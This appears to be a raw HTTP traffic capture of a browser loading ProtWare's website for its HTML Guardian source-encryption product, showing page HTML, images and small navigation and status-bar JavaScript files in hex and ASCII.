Nov 30, 2024 00:40:34.165424109 CET	716	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:33 GMT Content-Type: text/html Content-Length: 484 Connection: keep-alive Last-Modified: Fri, 03 Feb 2023 15:51:32 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 49 45 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 20 3d 20 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 20 3d 20 22 66 72 6d 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>HTML Guardian</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link rel="stylesheet" href="styleIE.css" type="text/css"><script language = "Javascript" src = "frm.js"></script></head><body bgcolor="#FFFFFF" text="#000000">...Page was last updated on : February 03, 2023 -->...revision: pw_791XUAT_223fl_AND_NS09221h-175sec_L7004_newhcU2 --></body></html>
Nov 30, 2024 00:40:34.189615011 CET	318	OUT	GET /frm.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.549918890 CET	1061	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: text/javascript Content-Length: 823 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 20 28 28 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 3d 20 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 20 26 26 20 77 69 6e 64 6f 77 2e 6e 61 6d 65 21 3d 27 71 61 7a 78 73 77 65 64 63 27 29 7b 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 64 65 66 61 75 6c 74 2e 68 74 6d 27 29 7d 3b 76 61 72 20 6e 38 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 72 70 6c 63 28 69 6e 70 66 2c 66 65 29 7b 0d 0a 09 66 65 41 3d 41 72 72 61 79 28 27 68 74 6d 27 2c 27 68 74 6d 6c 27 2c 27 61 73 70 27 2c 27 70 68 70 27 2c 27 73 68 74 6d 6c 27 29 3b 0d 0a 09 6e 75 3d 69 6e 70 66 2b 27 2e 27 2b 66 65 41 5b 66 65 5d 3b 0d 0a 09 64 4f 62 6a 3d 27 6c 6f 63 61 74 69 6f 6e 27 3b 20 64 56 61 6c 3d 27 27 3b 20 64 41 63 74 3d 27 2e 72 65 70 6c 61 63 65 28 22 27 3b 20 64 43 6c 3d 27 22 29 27 3b 20 64 48 65 78 3d 27 30 78 42 42 27 3b 0d 0a 09 65 76 61 6c 28 64 4f 62 6a 2b 64 41 63 74 2b 64 56 61 6c 2b 6e 75 2b 64 43 6c 29 3b 09 09 09 09 09 09 09 09 09 09 20 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e [TRUNCATED] Data Ascii: if ((parent.location.href == self.location.href) && window.name!='qazxswedc'){location.replace('default.htm')};var n8;function rplc(inpf,fe){feA=Array('htm','html','asp','php','shtml');nu=inpf+'.'+feA[fe];dObj='location'; dVal=''; dAct='.replace("'; dCl='")'; dHex='0xBB';eval(dObj+dAct+dVal+nu+dCl); }function rwl(inp){if(document.getElementById){nulk= Array('k-data::3','source_browser::9','security-set_6::2','v_debug_a::0','directory_7::2','corp_mngr_7::1','compare_encrypt_7::1','corp_data::0','security_audit_6::3','compare_ipr::4');feM=Array('htm','html','asp','php','shtml');c=n8?'obj=':'href=';for(i=0;i<inp.length;i++){a=nulk[inp[i]].slice(0,nulk[inp[i]].indexOf('::'));b=nulk[inp[i]].slice(nulk[inp[i]].indexOf('::')+2);eval("document.getElementById(inp[i])"+"."+c+"a+'.'+feM[b]");}}}
Nov 30, 2024 00:40:34.564838886 CET	381	OUT	GET /next.gif HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.955277920 CET	996	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: image/gif Content-Length: 787 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 1e 00 1e 00 e6 ff 00 14 13 13 72 6d 6d 4a 47 47 c0 c0 c0 29 28 28 c0 be be ff ff ff e8 e8 e8 df df df de de de dd dd dd db db db d2 d2 d2 cf cf cf cd cd cd cb cb cb ca ca ca c5 c5 c5 c4 c4 c4 c1 c1 c1 bc bc bc b9 b9 b9 b7 b7 b7 b5 b5 b5 b3 b3 b3 b1 b1 b1 af af af ad ad ad a9 a9 a9 a7 a7 a7 a6 a6 a6 a5 a5 a5 9f 9f 9f 9b 9b 9b 9a 9a 9a 96 96 96 94 94 94 8e 8e 8e 8d 8d 8d 8c 8c 8c 8a 8a 8a 87 87 87 86 86 86 84 84 84 80 80 80 7c 7c 7c 7b 7b 7b 79 79 79 78 78 78 77 77 77 76 76 76 75 75 75 74 74 74 71 71 71 70 70 70 6f 6f 6f 6e 6e 6e 6d 6d 6d 6a 6a 6a 68 68 68 66 66 66 65 65 65 64 64 64 63 63 63 62 62 62 61 61 61 60 60 60 5d 5d 5d 5b 5b 5b 5a 5a 5a 59 59 59 58 58 58 56 56 56 54 54 54 53 53 53 52 52 52 51 51 51 4c 4c 4c 4b 4b 4b 4a 4a 4a 49 49 49 48 48 48 47 47 47 46 46 46 45 45 45 42 42 42 3e 3e 3e 3d 3d 3d 3c 3c 3c 3a 3a 3a 38 38 38 37 37 37 34 34 34 33 33 33 32 32 32 30 30 30 2f 2f 2f 2e 2e 2e 2a 2a 2a 29 29 29 28 28 28 22 22 22 21 21 21 20 20 20 1f 1f 1f 1e 1e 1e 1d 1d 1d 1b 1b 1b 19 [TRUNCATED] Data Ascii: GIF89armmJGG)((\|\|\|{{{yyyxxxwwwvvvuuutttqqqpppooonnnmmmjjjhhhfffeeedddcccbbbaaa```]]][[[ZZZYYYXXXVVVTTTSSSRRRQQQLLLKKKJJJIIIHHHGGGFFFEEEBBB>>>===<<<:::888777444333222000///...**)))((("""!!! !,@;?'-Pf9/yHcvwwx3ndDxxD54&#%0FZjqu[eca\$H<:LQXbmqtyn.5 "8Ugqvx61YKv(<qbj58ds+)H>yC*:o`r)E84&I3p1(\|\IcZCCRdh@1CQ!pbPAS4Yn%c7`/02(7l&8C,g,PKJCDR;l)[P#;

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:33.384201050 CET	309	OUT	GET /mm.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.protware.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:33.781971931 CET	900	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:33 GMT Content-Type: text/javascript Content-Length: 662 Connection: keep-alive Last-Modified: Thu, 05 Apr 2007 14:17:09 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 42 72 77 73 72 20 3d 20 22 49 45 22 7d 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 6c 61 79 65 72 73 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 34 22 7d 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 20 26 26 20 77 69 6e 64 6f 77 2e 73 69 64 65 62 61 72 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 36 22 7d 0d 0a 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 20 3d 3d 22 4f 70 65 72 61 22 29 7b 42 72 77 73 72 20 3d 20 22 4f 70 65 72 61 22 7d 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 4d 4d 5f 72 65 6c 6f 61 64 50 61 67 65 28 69 6e 69 74 29 20 7b 20 20 2f 2f 72 65 6c 6f 61 64 73 20 74 68 65 20 77 69 6e 64 6f 77 20 69 66 20 4e 61 76 34 20 72 65 73 69 7a 65 64 0d 0a 20 20 69 66 20 28 69 6e 69 74 3d 3d 74 72 75 65 29 20 77 69 74 68 20 28 6e 61 76 69 67 61 74 6f 72 29 20 7b 69 66 20 28 28 61 70 70 4e 61 6d 65 3d 3d 22 4e 65 74 73 63 61 70 65 22 29 26 26 28 70 61 72 73 65 49 6e 74 28 61 70 70 56 65 72 73 69 6f 6e 29 [TRUNCATED] Data Ascii: if(document.all){Brwsr = "IE"}if(document.layers){Brwsr = "NN4"}if(document.getElementById && window.sidebar){Brwsr = "NN6"}if(navigator.appName =="Opera"){Brwsr = "Opera"}function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW \|\| innerHeight!=document.MM_pgH) location.reload();}MM_reloadPage(true);/if(Brwsr != "NN4"){window.moveTo(0,0);window.resizeTo(screen.availWidth,screen.availHeight) }/
Nov 30, 2024 00:40:33.803076029 CET	474	OUT	GET /menu.htm HTTP/1.1 Host: www.protware.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://www.protware.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.163712025 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:33 GMT Content-Type: text/html Content-Length: 7129 Connection: keep-alive Last-Modified: Fri, 03 Feb 2023 15:51:32 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 6e 63 72 79 70 74 20 48 54 4d 4c 2c 20 4a 61 76 61 73 63 72 69 70 74 2c 20 41 53 50 2e 20 50 72 6f 74 65 63 74 20 6c 69 6e 6b 73 20 26 61 6d 70 3b 20 69 6d 61 67 65 73 2e 20 48 54 4d 4c 20 45 6e 63 72 79 70 74 20 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 63 72 79 70 74 2c 68 74 6d 6c 2c 70 72 6f 74 65 63 74 2c 73 6f 75 72 63 65 2c 77 65 62 2c 70 61 67 65 2c 6a 61 76 61 73 63 72 69 70 74 2c 61 73 70 2c 76 62 73 63 72 69 70 74 2c 63 6f 64 65 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Encrypt HTML, Javascript, ASP. Protect links & images. HTML Encrypt ion</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><meta name="keywords" content="Encrypt,html,protect,source,web,page,javascript,asp,vbscript,code,email,scramble,secure"><meta name="description" content="Encrypt html source, protect javascript, asp encryption, web site password protection email scramble"><meta name="page-topic" content="Encrypt HTML source code, protect website. Encryption of ASP, Javascript, html"><meta name="author" content="ProtWare, Inc. The recognized leader in web site and intellectual property protection since 1997"><meta name="subject" content="password protect web site source code encryption"><meta name="title" content="Encrypt HTML, Javascript, ASP. Protect links, images"><meta name="page-type" content="tool for encryption of html, asp, vbscript, javascript code"><li
Nov 30, 2024 00:40:34.163924932 CET	1236	IN	Data Raw: 6e 6b 20 68 72 65 66 3d 22 73 74 79 6c 65 5f 4d 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 20 3d 20 22 4a 61 76 61 73 63 Data Ascii: nk href="style_M.css" rel="stylesheet" type="text/css"><script language = "Javascript" src = "frm.js"></script><script language="JavaScript" src="tpmnu.js"></script></head><body bgcolor = "white" onLoad = checkmf()><span id="Main" styl
Nov 30, 2024 00:40:34.163938999 CET	1236	IN	Data Raw: 20 67 65 74 20 0a 74 68 65 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 65 73 20 70 6f 73 74 65 64 20 6f 6e 20 79 6f 75 72 20 73 69 74 65 2e 20 54 68 65 20 70 72 6f 67 72 61 6d 73 20 6b 6e 6f 77 6e 20 61 73 20 73 69 74 65 2d 72 69 70 70 65 72 73 2c Data Ascii: get the email addresses posted on your site. The programs known as site-rippers, such as TeleportPro, will not be able to read the encrypted javascript and html source and download your entire site for offline use.<br> Although extremely
Nov 30, 2024 00:40:34.164712906 CET	1236	IN	Data Raw: 6f 74 65 63 74 69 6f 6e 22 3e 69 6d 61 67 65 20 70 72 6f 74 65 63 74 69 6f 6e 3c 2f 61 3e 20 66 65 61 74 75 72 65 73 20 61 6e 64 20 6d 75 63 68 20 6d 6f 72 65 2c 20 0a 6e 6f 74 20 6a 75 73 74 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 65 6e 63 72 79 Data Ascii: otection">image protection</a> features and much more, not just to <a href="encrypt.html">encrypt html</a> source<br> </span><div id="LayerHome" > <br> Go to Start page </div> <div id="LayerFeatures" > Main HTML Guardian features<br>
Nov 30, 2024 00:40:34.164725065 CET	1236	IN	Data Raw: 65 76 65 6c 6f 70 65 72 20 61 6e 64 3c 62 72 3e 65 64 75 63 61 74 69 6f 6e 61 6c 20 6c 69 63 65 6e 73 65 73 20 6f 6e 6c 79 5d 0a 3c 2f 64 69 76 3e 20 20 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 35 30 25 22 20 62 6f 72 64 65 72 3d 22 30 22 20 Data Ascii: eveloper and<br>educational licenses only]</div> <table width="50%" border="0" align="center"> <tr> <td> <p align="center" class = "htmlgs"><font color="#000000"><b>ProtWare's</b></font> <font color="#009900"><b>HTML
Nov 30, 2024 00:40:34.165410042 CET	1182	IN	Data Raw: 0a 20 20 7c 20 3c 61 20 69 64 3d 22 64 6f 77 6e 6c 6f 61 64 22 20 68 72 65 66 3d 22 64 6f 77 6e 6c 6f 61 64 2e 68 74 6d 22 20 74 61 72 67 65 74 3d 22 6d 61 69 6e 22 20 6f 6e 6d 6f 75 73 65 6f 76 65 72 20 3d 20 73 68 6f 77 6e 66 6f 28 22 44 6f 77 Data Ascii: \| <a id="download" href="download.htm" target="main" onmouseover = shownfo("Download","over") onmouseout =shownfo("Download","out")>Download</a> \| <a id="buy" href="buy.htm" target="main" onmouseover = shownfo("Buy","over") onmouseout =s
Nov 30, 2024 00:40:34.189867973 CET	319	OUT	GET /stat.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.551762104 CET	424	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: text/javascript Content-Length: 186 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 73 39 28 29 7b 77 69 6e 64 6f 77 2e 73 74 61 74 75 73 20 3d 20 22 50 72 6f 74 57 61 72 65 27 73 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 20 2d 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 64 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 20 2d 20 45 6e 63 72 79 70 74 20 48 54 4d 4c 2c 20 41 53 50 2c 20 4a 61 76 61 73 63 72 69 70 74 2c 20 56 42 73 63 72 69 70 74 20 73 6f 75 72 63 65 2e 22 3b 73 65 74 54 69 6d 65 6f 75 74 28 22 6e 73 39 28 29 22 2c 32 30 30 29 3b 7d 3b 6e 73 39 28 29 3b Data Ascii: function ns9(){window.status = "ProtWare's HTML Guardian - the world's standard for website protection - Encrypt HTML, ASP, Javascript, VBscript source.";setTimeout("ns9()",200);};ns9();
Nov 30, 2024 00:40:34.564600945 CET	381	OUT	GET /new3.jpg HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.955167055 CET	981	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: image/jpeg Content-Length: 771 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 14 00 19 03 01 11 00 02 11 01 03 11 01 ff c4 00 18 00 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 03 06 07 04 05 ff c4 00 2a 10 00 01 03 03 02 05 02 07 00 00 00 00 00 00 00 00 01 02 03 04 05 06 11 00 31 13 21 32 41 81 15 22 07 12 51 53 71 91 a1 ff c4 00 1a 01 00 02 02 03 00 00 00 00 00 00 00 00 00 00 00 00 03 05 02 04 00 01 06 ff c4 00 2a 11 00 02 01 03 02 04 04 07 00 00 00 00 00 00 00 00 01 02 11 00 03 31 04 21 05 12 13 51 14 22 61 81 06 23 41 71 a1 c1 f0 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 ae dd 57 2b 96 [TRUNCATED] Data Ascii: JFIFHHC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222221!2A"QSq1!Q"a#Aq?W+bv(ln1o]mLok"p{X2fQEA7tAMbSs=enn,e-_\|jQh\|N{&KquRl_vKrJ@'lg}Tl,`opb%]P;3xA@}2D"\R{AT#O_.x8PDL)'3q[\E0Di%ICHAwYe q.!d7U\bwHNM_sIViPyglN4[WZ$1"=<j"4v#)5<$Aqp8P>`9u>
Nov 30, 2024 00:41:19.956278086 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:33.803566933 CET	474	OUT	GET /home.htm HTTP/1.1 Host: www.protware.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://www.protware.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.155447006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:33 GMT Content-Type: text/html Content-Length: 8475 Connection: keep-alive Last-Modified: Fri, 03 Feb 2023 16:04:36 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 6e 63 72 79 70 74 20 20 48 54 4d 4c 2c 20 4a 61 76 61 73 63 72 69 70 74 2c 20 41 53 50 2e 20 50 72 6f 74 65 63 74 20 6c 69 6e 6b 73 20 26 61 6d 70 3b 20 69 6d 61 67 65 73 3c 2f 74 69 74 6c 65 3e 0a 3c 4d 45 54 41 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 63 72 79 70 74 2c 70 72 6f 74 65 63 74 2c 68 74 6d 6c 2c 6a 61 76 61 73 63 72 69 70 74 2c 61 73 70 2c 76 62 73 63 72 69 70 74 2c 63 6f 64 65 2c 65 6d 61 69 6c 2c 73 63 72 61 6d 62 6c 65 20 22 3e 0a 3c 4d 45 54 41 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 63 72 79 70 74 20 70 72 6f 74 65 63 74 20 68 74 6d 6c 20 6a 61 76 61 73 63 72 69 70 74 20 61 73 70 20 65 6d 61 69 6c 20 73 63 72 61 6d 62 6c 65 22 3e 0a [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Encrypt HTML, Javascript, ASP. Protect links & images</title><META name="keywords" content="Encrypt,protect,html,javascript,asp,vbscript,code,email,scramble "><META name="description" content="Encrypt protect html javascript asp email scramble"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link rel="stylesheet" href="styleIE.css" type="text/css"><script language = "Javascript" src = "frm.js"></script><script src="stat.js"></script></head><body bgcolor="#FFFFFF" text="#000000"><script language="JavaScript" src="scroll.js"></script><table width="90%" border="0" align="center" > <tr> <td><div align="center"><span class="bo">February 2023</span>: HTML Guardian<font color="#009900" class="bo"> Version 7.9.1 [b.227]</font> is now available. Read what's new <a href="history.htm"><font color="#0000FF" class="bo">here</font></a> .</div></td> </tr
Nov 30, 2024 00:40:34.155653000 CET	1236	IN	Data Raw: 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 3e 3c 69 6d 67 20 73 72 63 3d 22 6e 65 77 33 2e 6a 70 67 22 20 77 69 64 74 68 3d 22 32 35 22 20 68 65 69 67 68 74 3d 22 32 30 22 3e 20 56 65 72 73 69 6f 6e 73 20 36 2e 32 20 61 6e 64 20 6c 61 74 65 Data Ascii: > <tr> <td><img src="new3.jpg" width="25" height="20"> Versions 6.2 and later now include <font color="#0000FF" class="bo">Image Guardian</font>, the long awaited HTML Guardian add-on for enhanced <a href="image_prot
Nov 30, 2024 00:40:34.155666113 CET	1236	IN	Data Raw: 20 63 6f 6d 70 6c 69 63 61 74 65 64 20 3c 61 20 68 72 65 66 3d 22 73 63 72 69 70 74 73 2e 68 74 6d 22 20 63 6c 61 73 73 3d 22 73 31 69 22 3e 73 63 72 69 70 74 73 3c 2f 61 3e 20 0a 20 20 20 20 20 20 20 20 20 20 6f 72 20 6a 61 76 61 20 61 70 70 6c Data Ascii: complicated <a href="scripts.htm" class="s1i">scripts</a> or java applets that may have taken weeks to develop and debug, images, links, style sheets, articles ...<br> <br> Creating a professional-loo
Nov 30, 2024 00:40:34.156323910 CET	1236	IN	Data Raw: 65 73 2c 20 61 67 65 6e 63 69 65 73 2c 20 66 6f 75 6e 64 61 74 69 6f 6e 73 2c 20 73 6d 61 6c 6c 2d 20 61 6e 64 20 6d 65 64 69 75 6d 2d 73 69 7a 65 20 62 75 73 69 6e 65 73 73 65 73 2c 20 0a 20 20 20 20 20 20 20 20 20 20 6e 6f 6e 2d 70 72 6f 66 69 Data Ascii: es, agencies, foundations, small- and medium-size businesses, non-profit organizations and individuals in more than 100 countries all over the globe. <br> <br><center> <a href="encrypt.html" title="Enc
Nov 30, 2024 00:40:34.156337976 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 20 73 65 72 76 65 72 2d 73 69 64 65 20 69 6e 63 6c 75 64 65 73 28 2e 73 68 74 6d 6c 29 2c 20 61 73 20 77 65 6c 6c 20 61 73 20 70 68 70 20 66 69 6c 65 73 2e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: use server-side includes(.shtml), as well as php files.</li> <li class="bli"><a href="protect_images.htm"><font color="#009900"><b>Protect the images</b></font></a> on your website with <a href="image_pr
Nov 30, 2024 00:40:34.157083988 CET	1236	IN	Data Raw: 74 65 2e 3c 2f 6c 69 3e 0a 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 62 6c 69 22 3e 55 6e 70 61 72 61 6c 6c 65 6c 20 6c 65 76 65 6c 20 6f 66 20 73 65 63 75 72 69 74 79 2e 3c 2f 6c 69 3e 0a 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 62 6c 69 22 3e Data Ascii: te.</li><li class="bli">Unparallel level of security.</li><li class="bli">Advanced batch encryption capabilities - protect entire folders, websites or user-defined file lists at once with different security settings for each file. Full
Nov 30, 2024 00:40:34.157098055 CET	1236	IN	Data Raw: 72 3d 22 30 22 3e 3c 2f 61 3e 20 0a 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 62 6f 72 64 65 72 36 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 20 26 6e 62 73 70 3b 26 6e 62 73 70 3b 26 6e 62 73 70 3b 26 63 6f 70 79 3b 20 31 Data Ascii: r="0"></a> <p class="tborder6" align="center">    © 1997-2023, ProtWare Inc. All rights reserved.   </p> <div align="center" style="hg10p"><font class="hg10p">\|<a href="http://www.p
Nov 30, 2024 00:40:34.157108068 CET	56	IN	Data Raw: 66 6c 5f 41 4e 44 5f 4e 53 30 39 32 32 31 68 2d 31 37 35 73 65 63 5f 4c 37 30 30 34 5f 6e 65 77 68 63 55 32 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: fl_AND_NS09221h-175sec_L7004_newhcU2 --></body></html>
